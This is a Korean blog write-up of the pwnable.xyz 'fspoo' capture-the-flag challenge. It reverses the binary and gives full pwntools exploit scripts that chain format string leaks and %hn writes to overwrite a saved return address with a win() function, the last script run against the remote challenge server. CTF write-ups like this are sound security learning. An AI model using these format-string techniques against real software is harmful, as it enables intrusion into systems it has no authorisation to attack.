[pwnable.xyz] fspoo write up
pwnable.xyz 14번째 문제 fspoo 이다.
Analyze
문제의 바이너리에서 사용자 정의 함수를 보면 아래와 같다.
( "_" 함수가 있는걸 롸업 쓰면서 알게 되었다...)
ubuntu:~/environment/ctf/pwnable.xyz/14_fspoo $ func challenge
_
__libc_csu_fini
__libc_csu_init
__stack_chk_fail_local
__x86.get_pc_thunk.ax
__x86.get_pc_thunk.bx
__x86.get_pc_thunk.dx
_fini
_init
_start
handler
main
setup
vuln
win
사용자 정의 함수 중 자세히 봐야 할 것들은 main, vuln, win 이다.
gdb 로 해당 바이너리를 분석해서 c로 나타내면 다음과 같다.
void win(){
system("cat flag");
}
void vuln(){
while(1){
printf(cmd+32);
puts("1. Edit name.\n2. Prep msg.\n3. Print msg.\n4. Exit.");
printf("> ");
scanf("%d", ebp-0x10); // 0xffffd658
getchar();
unsigned char select = *(ebp-0x10);
if(select == 1){
printf("Name: ");
read(0, cmd+48, 0x1f);
}
else if(select == 2){
sprintf(cmd, "💩 %s", cmd+48); // "💩 " => 7bytes => 0x56555b7b
}
else if(select == 3){
puts(cmd);
}
else if(select == 4){
}
}
}
int main(){
printf("Name: ");
read(0, cmd+48, 0x1f);
vuln();
}
전역 변수는 cmd 와 flag라는 변수가 존재했다.
해당 변수들의 메모리 구조는 아래와 같다.
(필자가 flag 변수 값을 Leak 해보려고 했지만, 아무런 값이 없는 그냥 낚시용 변수 인것 같다.)
gdb-peda$ x/24wx 0x56557040
0x56557040 <cmd>: 0x00000000 0x00000000 0x00000000 0x00000000
0x56557050 <cmd+16>: 0x00000000 0x00000000 0x00000000 0x00000000
0x56557060 <cmd+32>: 0x756e654d 0x00000a3a 0x00000000 0x00000000
0x56557070 <cmd+48>: 0x66647361 0x0000000a 0x00000000 0x00000000
0x56557080 <cmd+64>: 0x00000000 0x00000000 0x00000000 0x00000000
0x56557090 <flag>: 0x00000000 0x00000000 0x00000000 0x00000000
위 코드의 문제점은 7번째 줄에 format string 공격이 가능하다는 것이고,
21번째 줄에서 사용자가 입력한 이름에 추가적으로 7bytes 값을 붙인다. 이때, cmd+32 위치에 값을 덮어 버리게 된다.
아래 사진은 cmd 변수의 구조를 자세히 나타낸 것이다.
빨간색: 사용자가 입력한 이름이 들어가는 곳(31bytes)
초록색: 사용자가 입력한 이름 + 7bytes 값이 들어가는 곳
노란색: 정상적인 방법으로 채울 수 없는 부분
우선 select = 2 일때 cmd+32에 값을 Overwrite 할 수 있으므로
7bytes + dummy(25bytes) + payload(6bytes) 형식으로 cmd 변수에 값이 들어가면
cmd+32에 printf() 할때 format string 공격을 일으 킬수 있다.
위 사진 처럼 dummy(25bytes) + payload(6bytes) 를 넣고 select 2 일때, 스택의 주소가 Leak 되는 것을 볼 수 있다.
해당 주소가 어떤 주소인지를 모르니 gdb로 printf() 함수가 호출되기 직전에 breakpoint를 걸어 stack을 분석한다.
gdb-peda$ b *vuln+42
Breakpoint 1 at 0x565558fc
gdb-peda$ r
Name: AAAA
Menu:
1. Edit name.
2. Prep msg.
3. Print msg.
4. Exit.
> 2
Breakpoint 1, 0x565558fc in vuln ()
gdb-peda$ x/24wx $esp
0xffffd650: 0x56557060 0x56555b7b 0x56557070 0x56555943
0xffffd660: 0x0000003c 0x56556fa0 0x00000002 0x78a3ee00
0xffffd670: 0x00000000 0x56556fa0 0xffffd688 0x56555a77
0xffffd680: 0xffffd6a0 0x00000000 0x00000000 0xf7dfae81
0xffffd690: 0xf7fba000 0xf7fba000 0x00000000 0xf7dfae81
0xffffd6a0: 0x00000001 0xffffd734 0xffffd73c 0xffffd6c4
위에서 stack에 저장된 값들 중 중요한 몇가지를 분석하면 아래와 같다.
빨간색: cmd+48의 주소
주황색: vuln+113의 주소
노란색: 사용자가 입력한 메뉴 값
초록색: stack의 주소
파란색: RET 주소 (main+79)
현재 payload 값은 6bytes 로 제한된다. 따라서 $ 를 사용하여 Leak 할 부분을 정해 값을 Leak 한다.
예를들면 빨간색(cmd+48) 주소를 Leak 하기 위해 payload = %2$p 하면 해당 주소가 Leak 될 것이다.
from pwn import *
p = process("./challenge")
dummy = "A"*25 # Dummy data
###################################
# Get vuln address
payload = dummy + "%3$p"
p.sendafter("Name: ", payload)
p.sendlineafter("> ", "2")
vuln_addr = p.recvuntil("1.")
vuln_addr = int(vuln_addr[:len(vuln_addr)-2],16) - 113
win_addr = hex(vuln_addr + 299)
print("[*] Leak vuln address "+ hex(vuln_addr))
print("[*] Win addr "+win_addr)
###################################
###################################
# Leak 'cmd' address
payload = dummy + "%2$p"
p.sendlineafter("> ", "1")
p.sendlineafter("Name: ", payload)
p.sendlineafter("> ", "2")
cmd_addr = p.recvuntil("1.")
cmd_addr = int(cmd_addr[:len(cmd_addr)-2],16)
print("[*] 'cmd+44' Address => " + hex(cmd_addr))
cmd_addr -= 0x30 # Get "cmd"'s address
print("[*] 'cmd' Address => "+hex(cmd_addr))
###################################
###################################
# Leak statck address
payload = dummy + "%12$p"
p.sendlineafter("> ", "1")
p.sendlineafter("Name: ", payload)
p.sendlineafter("> ", "2")
stack_addr = p.recvuntil("\n").replace("\n", "")
stack_addr = int(stack_addr, 16)
print("[*] Leak stack address : "+hex(stack_addr))
###################################
위 코드를 실행하면 아래 처럼 필요한 정보들이 출력 되는 것을 볼 수 있다.
ubuntu:~/environment/ctf/pwnable.xyz/14_fspoo $ python test.py
[*] Leak vuln address 0x565c58d2
[*] Win addr 0x565c59fd
[*] 'cmd+44' Address => 0x565c7070
[*] 'cmd' Address => 0x565c7040
[*] Leak stack address : 0xffd60c60
위에서 파란색은 RET 주소를 나타낸다고 했다.
stack 주소를 알고 있으므로, RET 주소를 저장하고 있는 stack 주소에 접근 해서
format string 공격을 통해 이의 값을 win 함수의 주소로 변조가 가능하다.
하지만 payload 는 6bytes 만 입력이 제한 되어 공격 할 수가 없다.
위에서 cmd의 변수 구조인데, 노란색으로 칠한 부분은 정상적인 방법으로 쓸 수가 없는 부분이다.
비정상적인 방법은 사용자가 입력한 숫자를 이용해 노란색으로 칠한 부분에 값을 쓰는 것이다.
아래 사진에서 노란색은 사용자가 입력한 값이 들어가는 자리 이다.
vuln() 함수의 일부분인데, 사용자로부터 입력받은 값은 1byte 값만 가져와서 if 문 조건을 수행한다.
scanf("%d", ebp-0x10);
getchar();
unsigned char select = *(ebp-0x10);
위 내용을 정리하면,
>> 초기 Name 값은 dummy(25bytes) + payload (A%6$hn)
>> select (Write 권한이 있는 주소이고, 1byte 값이 0x03 인 주소) => 즉 select 가 3이 됨
>> select (Overwrite 할 주소)
이런 시나리오로 공격하면 cmd 변수에 0x00 으로 채운 부분을 0x02로 바꿀수 있다.
"Write 권한이 있는 주소이고, 1byte 값이 0x03 인 주소" 라고 적은 이유는
payload = A%6$hn 이기 때문에 select 가 3 이면 payload 로 인해 0x00000003에 0x02 값을 쓰려고 한다. 하지만 이는 에러를 발생 시키기 때문이다.
from pwn import *
# Debug setting
context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'debug'
p = process("./challenge")
dummy = "A"*25 # Dummy data
###################################
# Get vuln address
payload = dummy + "%3$p"
p.sendafter("Name: ", payload)
p.sendlineafter("> ", "2")
vuln_addr = p.recvuntil("1.")
vuln_addr = int(vuln_addr[:len(vuln_addr)-2],16) - 113
win_addr = hex(vuln_addr + 299)
print("[*] Leak vuln address "+ hex(vuln_addr))
print("[*] Win addr "+win_addr)
###################################
script= '''
b *{}
c
'''.format(hex(vuln_addr + 144))
gdb.attach(proc.pidof(p)[0], script)
###################################
# Leak 'cmd' address
payload = dummy + "%2$p"
p.sendlineafter("> ", "1")
p.sendlineafter("Name: ", payload)
p.sendlineafter("> ", "2")
cmd_addr = p.recvuntil("1.")
cmd_addr = int(cmd_addr[:len(cmd_addr)-2],16)
print("[*] 'cmd+44' Address => " + hex(cmd_addr))
cmd_addr -= 0x30 # Get "cmd"'s address
print("[*] 'cmd' Address => "+hex(cmd_addr))
###################################
###################################
# Leak statck address
payload = dummy + "%12$p"
p.sendlineafter("> ", "1")
p.sendlineafter("Name: ", payload)
p.sendlineafter("> ", "2")
stack_addr = p.recvuntil("\n").replace("\n", "")
stack_addr = int(stack_addr, 16)
print("[*] Leak stack address : "+hex(stack_addr))
###################################
###################################
# Select value
count = 0
tmp = 0
while True:
tmp = cmd_addr + count
if hex(tmp)[8:] == "02":
print("[*] tmp address => "+ hex(tmp))
break
count += 1
###################################
payload = dummy + "A%6$hn"
p.sendlineafter("> ", "1")
p.sendafter("Name: ", payload)
p.sendlineafter("> ", str(tmp))
print("[*] send tmp addr "+hex(tmp))
print("[*] Write anywhere")
for i in range(0, 10):
write_cmd_addr = cmd_addr + 0x26 + i
p.sendlineafter("> ", str(write_cmd_addr))
print("[*] Send address => "+str(write_cmd_addr))
p.interactive()
위 코드를 실행하면 cmd 변수에 0x01010101로 덮어진 것을 볼 수 있다.
이로써 printf(cmd+32) 에서 payload가 6bytes 였지만, 중간에 0x01010101 값으로 채워 사용자가 Name 에 입력한 값들도 payload에 사용할 수 있게 되었다.
stack 주소를 Leak를 했으므로 RET 주소를 가리키는 곳에 접근해
해당 값을 win 함수로 변조하여 호출하면 끝이다.
아래는 RET 주소를 변조하기 위한 코드이다.
(위 python 코드에서 이어지는 코드이다.)
# python 에서 hex to int 할때 2의 보수를 적용하기 위한 함수
def s32(value):
return -(value & 0x80000000) | (value & 0x7fffffff)
win_addr1 = win_addr[0:6]
win_addr2 = "0x"+win_addr[6:]
payload = "%{}p%6$hn".format(int(win_addr2,16)-25)
p.sendlineafter("> " , str(tmp-1))
p.sendlineafter("Name: ", payload)
print("[*] Send "+payload)
p.sendlineafter("> ", str(s32(stack_addr-36)))
payload = "%{}p%6$hn".format(int(win_addr1,16)-25)
p.sendlineafter("> " , str(tmp-1))
p.sendlineafter("Name: ", payload)
print("[*] Send "+payload)
p.sendlineafter("> ", str(s32(stack_addr-34)))
p.sendlineafter("> ", str(tmp+1))
p.interactive()
Payload
from pwn import *
def s32(value):
return -(value & 0x80000000) | (value & 0x7fffffff)
p = remote("svc.pwnable.xyz", "30010")
dummy = "A"*25 # Dummy data
###################################
# Get vuln address
payload = dummy + "%3$p"
p.sendafter("Name: ", payload)
p.sendlineafter("> ", "2")
vuln_addr = p.recvuntil("1.")
vuln_addr = int(vuln_addr[:len(vuln_addr)-2],16) - 113
win_addr = hex(vuln_addr + 299)
print("[*] Leak vuln address "+ hex(vuln_addr))
print("[*] Win addr "+win_addr)
###################################
###################################
# Leak 'cmd' address
payload = dummy + "%2$p"
print("[*] Send: "+payload)
p.sendlineafter("> ", "1")
p.sendlineafter("Name: ", payload)
p.sendlineafter("> ", "2")
cmd_addr = p.recvuntil("1.")
cmd_addr = int(cmd_addr[:len(cmd_addr)-2],16)
print("[*] 'cmd+44' Address => " + hex(cmd_addr))
cmd_addr -= 0x30 # Get "cmd"'s address
print("[*] 'cmd' Address => "+hex(cmd_addr))
###################################
###################################
# Leak statck address
payload = dummy + "%12$p"
print("[*] Send " + payload)
p.sendlineafter("> ", "1")
p.sendlineafter("Name: ", payload)
p.sendlineafter("> ", "2")
stack_addr = p.recvuntil("\n").replace("\n", "")
stack_addr = int(stack_addr, 16)
print("[*] Leak stack address : "+hex(stack_addr))
###################################
###################################
# Select value
count = 0
tmp = 0
while True:
tmp = cmd_addr + count
if hex(tmp)[8:] == "02":
print("[*] tmp address => "+ hex(tmp))
break
count += 1
###################################
###################################
# Overwrite
payload = dummy + "A%6$hn"
p.sendlineafter("> ", "1")
p.sendafter("Name: ", payload)
p.sendlineafter("> ", str(tmp))
print("[*] send tmp addr "+hex(tmp))
print("[*] Write anywhere")
for i in range(0, 10):
write_cmd_addr = cmd_addr + 0x26 + i
p.sendlineafter("> ", str(write_cmd_addr))
print("[*] Send address => "+str(write_cmd_addr))
###################################
###################################
# RET overwrite to win address
win_addr1 = win_addr[0:6]
win_addr2 = "0x"+win_addr[6:]
payload = "%{}p%6$hn".format(int(win_addr2,16)-25)
p.sendlineafter("> " , str(tmp-1))
p.sendlineafter("Name: ", payload)
print("[*] Send "+payload)
p.sendlineafter("> ", str(s32(stack_addr-36)))
payload = "%{}p%6$hn".format(int(win_addr1,16)-25)
p.sendlineafter("> " , str(tmp-1))
p.sendlineafter("Name: ", payload)
print("[*] Send "+payload)
p.sendlineafter("> ", str(s32(stack_addr-34)))
###################################
p.sendlineafter("> ", "0")
p.interactive()
'🚩CTF' 카테고리의 다른 글
[pwnable.xyz] bookmark write up (0) | 2020.02.25 |
---|---|
[pwnable.xyz] uaf write up (0) | 2020.02.21 |
[pwnable.xyz] Game write up (0) | 2020.02.15 |
[pwnable.xyz] l33t-ness write up (0) | 2020.01.31 |
[pwnable.xyz] Jmp table write up (0) | 2020.01.31 |
댓글
이 글 공유하기
다른 글
-
[pwnable.xyz] bookmark write up
[pwnable.xyz] bookmark write up
2020.02.25 -
[pwnable.xyz] uaf write up
[pwnable.xyz] uaf write up
2020.02.21 -
[pwnable.xyz] Game write up
[pwnable.xyz] Game write up
2020.02.15 -
[pwnable.xyz] l33t-ness write up
[pwnable.xyz] l33t-ness write up
2020.01.31